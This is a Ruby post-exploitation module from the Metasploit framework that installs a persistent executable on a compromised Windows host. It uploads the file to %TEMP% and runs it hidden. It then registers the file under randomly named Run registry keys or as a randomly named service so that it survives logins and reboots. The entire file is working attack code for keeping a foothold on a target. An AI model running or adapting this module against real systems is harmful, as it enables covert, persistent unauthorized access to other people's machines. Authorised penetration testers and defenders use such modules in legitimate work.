###
## This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/registry'
require 'msf/core/post/windows/services'

class MetasploitModule < Msf::Post
  include Msf::Post::Common
  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Registry
  include Msf::Post::Windows::Services

  def initialize(info = {})
    super(update_info(info,
                      'Name' => 'Windows Manage Persistent EXE Payload Installer',
                      'Description'   => %q(
                            This Module will upload a executable to a remote host and make it Persistent.
                            It can be installed as USER, SYSTEM, or SERVICE. USER will start on user login,
                            SYSTEM will start on system boot but requires privs. SERVICE will create a new service
                            which will start the payload. Again requires privs.
                                             ),
                      'License'       => MSF_LICENSE,
                      'Author'        => [ 'Merlyn drforbin Cousins <drforbin6[at]gmail.com>' ],
                      'Version'       => '$Revision:1$',
                      'Platform'      => [ 'windows' ],
                      'SessionTypes'  => [ 'meterpreter']))

    register_options(
      [
        OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER', 'SYSTEM', 'SERVICE']]),
        OptPath.new('REXEPATH', [true, 'The remote executable to use.']),
        OptString.new('REXENAME', [true, 'The name to call exe on remote system', 'default.exe'])
      ], self.class
    )
  end

  # Run Method for when run command is issued
  #-------------------------------------------------------------------------------
  def run
    print_status("Running module against #{sysinfo['Computer']}")

    # Set vars
    rexe = datastore['REXEPATH']
    rexename = datastore['REXENAME']
    host, _port = session.tunnel_peer.split(':')
    @clean_up_rc = ""

    raw = create_payload_from_file rexe

    # Write script to %TEMP% on target
    script_on_target = write_exe_to_target(raw, rexename)

    # Initial execution of script
    target_exec(script_on_target)

    case datastore['STARTUP']
    when /USER/i
      write_to_reg("HKCU", script_on_target)
    when /SYSTEM/i
      write_to_reg("HKLM", script_on_target)
    when /SERVICE/i
      install_as_service(script_on_target)
    end

    clean_rc = log_file
    file_local_write(clean_rc, @clean_up_rc)
    print_status("Cleanup Meterpreter RC File: #{clean_rc}")

    report_note(host: host,
                type: "host.persistance.cleanup",
                data: {
                  local_id: session.sid,
                  stype: session.type,
                  desc: session.info,
                  platform: session.platform,
                  via_payload: session.via_payload,
                  via_exploit: session.via_exploit,
                  created_at: Time.now.utc,
                  commands: @clean_up_rc
                })
  end

  # Function for creating log folder and returning log path
  #-------------------------------------------------------------------------------
  def log_file(log_path = nil)
    # Get hostname
    host = session.sys.config.sysinfo["Computer"]

    # Create Filename info to be appended to downloaded files
    filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")

    # Create a directory for the logs
    logs = if log_path
             ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo))
           else
             ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo))
           end

    # Create the log directory
    ::FileUtils.mkdir_p(logs)

    # logfile name
    logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
    logfile
  end

  # Function to execute script on target and return the PID of the process
  #-------------------------------------------------------------------------------
  def target_exec(script_on_target)
    print_status("Executing script #{script_on_target}")
    proc = session.sys.process.execute(script_on_target, nil, 'Hidden' => true)
    print_good("Agent executed with PID #{proc.pid}")
    @clean_up_rc << "kill #{proc.pid}\n"
    proc.pid
  end

  # Function to install payload in to the registry HKLM or HKCU
  #-------------------------------------------------------------------------------
  def write_to_reg(key, script_on_target)
    nam = Rex::Text.rand_text_alpha(rand(8) + 8)
    print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
    if key
      registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", nam, script_on_target, "REG_SZ")
      print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
    else
      print_error("Error: failed to open the registry key for writing")
    end
  end

  # Function to install payload as a service
  #-------------------------------------------------------------------------------
  def install_as_service(script_on_target)
    if  is_system? || is_admin?
      print_status("Installing as service..")
      nam = Rex::Text.rand_text_alpha(rand(8) + 8)
      print_status("Creating service #{nam}")
      service_create(nam, nam, "cmd /c \"#{script_on_target}\"")
      @clean_up_rc << "execute -H -f sc -a \"delete #{nam}\"\n"
    else
      print_error("Insufficient privileges to create service")
    end
  end

  # Function for writing executable to target host
  #-------------------------------------------------------------------------------
  def write_exe_to_target(rexe, rexename)
    tempdir = session.fs.file.expand_path("%TEMP%")
    temprexe = tempdir + "\\" + rexename
    fd = session.fs.file.new(temprexe, "wb")
    fd.write(rexe)
    fd.close

    print_good("Persistent Script written to #{temprexe}")
    @clean_up_rc << "rm #{temprexe}\n"
    temprexe
  end

  # Function to create executable from a file
  #-------------------------------------------------------------------------------
  def create_payload_from_file(exec)
    print_status("Reading Payload from file #{exec}")
    ::IO.read(exec)
  end
end
